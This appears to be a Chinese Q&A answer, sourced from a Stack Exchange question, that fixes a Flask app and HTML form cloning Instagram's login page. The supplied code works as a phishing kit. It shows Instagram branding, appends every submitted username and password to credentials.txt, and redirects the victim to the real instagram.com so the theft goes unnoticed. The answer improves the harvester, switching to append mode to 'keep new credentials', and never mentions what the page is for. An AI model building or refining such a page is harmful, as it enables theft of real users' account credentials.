如何将Flask中HTML表单提交的信息写入本地文件?
解决Flask表单提交并写入本地TXT文件的问题
一、项目目录结构
先按以下结构整理文件,确保Flask能正确加载模板和静态资源:
flask_login_app/ ├── app.py # Flask核心代码文件 ├── templates/ │ └── index.html # HTML表单模板 └── static/ └── style.css # 可选样式文件,不需要可删除
二、修正HTML表单代码
你的表单存在两个关键问题:未指定提交目标路由和请求方法,多余的onsubmit事件会阻止表单默认提交行为。修正后的index.html代码如下:
<head> <link rel="stylesheet" type="text/css" href="{{ url_for('static', filename='style.css') }}"> </head> <body> <span id="root"> <section class="section-all"> <!-- 1-Role Main --> <main class="main" role="main"> <div class="wrapper"> <article class="article"> <div class="content"> <div class="login-box"> <div class="header"> <img class="logo" src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2a/Instagram_logo.svg/1200px-Instagram_logo.svg.png" alt="Instagram"> </div><!-- Header end --> <div class="form-wrap"> <!-- 新增action指定提交路由,method指定POST请求,移除onsubmit事件 --> <form class="form" action="/login" method="POST"> <div class="input-box"> <input type="text" id="name" aria-describedby="" placeholder="Phone number, username, or email" aria-required="true" maxlength="30" autocapitalize="off" autocorrect="off" name="username" value="" required> </div> <div class="input-box"> <input type="password" name="password" id="password" placeholder="Password" aria-describedby="" maxlength="30" aria-required="true" autocapitalize="off" autocorrect="off" required> </div> <span class="button-box"> <button class="btn" type="submit" name="submit">Log in</button> </span> <a class="forgot" href="#">Forgot password?</a> </form> </div> <!-- Form-wrap end --> </div> <!-- Login-box end --> <div class="login-box"> <p class="text">Don't have an account?<a href="#">Sign up</a></p> </div> <!-- Signup-box end --> <div class="app"> <p>Get the app.</p> <div class="app-img"> <a href="#"> <img src="https://www.instagram.com/static/images/appstore-install-badges/badge_ios_english-en.png/4b70f6fae447.png" > </a> <a href="#"> <img src="https://www.instagram.com/static/images/appstore-install-badges/badge_android_english-en.png/f06b908907d5.png"> </a> </div> <!-- App-img end--> </div> <!-- App end --> </div> <!-- Content end --> </article> </div> <!-- Wrapper end --> </main> <!-- 2-Role Footer --> <footer class="footer" role="contentinfo"> <div class="footer-container"> <nav class="footer-nav" role="navigation"> <ul> <li><a href="#">About Us</a></li> <!-- 补充完整缺失的footer代码 --> </ul> </nav> </div> </footer> </section> </span> </body>
三、优化Flask代码(可选)
原代码用w模式写入会覆盖历史记录,改成a模式可追加新凭证,同时保留核心逻辑:
from flask import Flask, render_template, request, redirect app = Flask(__name__, static_folder='static', template_folder='templates') @app.route('/') def index(): return render_template('index.html') @app.route('/login', methods=['POST']) def login(): username = request.form['username'] password = request.form['password'] print(f'Username: {username}\nPassword: {password}') # 追加模式写入,保留历史记录 with open('credentials.txt', 'a', encoding='utf-8') as f: f.write(f'Username: {username}\nPassword: {password}\n---\n') return redirect("https://www.instagram.com/") if __name__ == '__main__': app.run(debug=True)
四、运行步骤
- 安装Flask:终端执行
pip install flask - 进入项目目录,启动应用:
python app.py - 浏览器访问
http://localhost:5000,提交表单后,项目目录下会生成credentials.txt文件,包含提交的凭证信息
内容的提问来源于stack exchange,提问作者Noah Brown
相关产品推荐
相关产品推荐

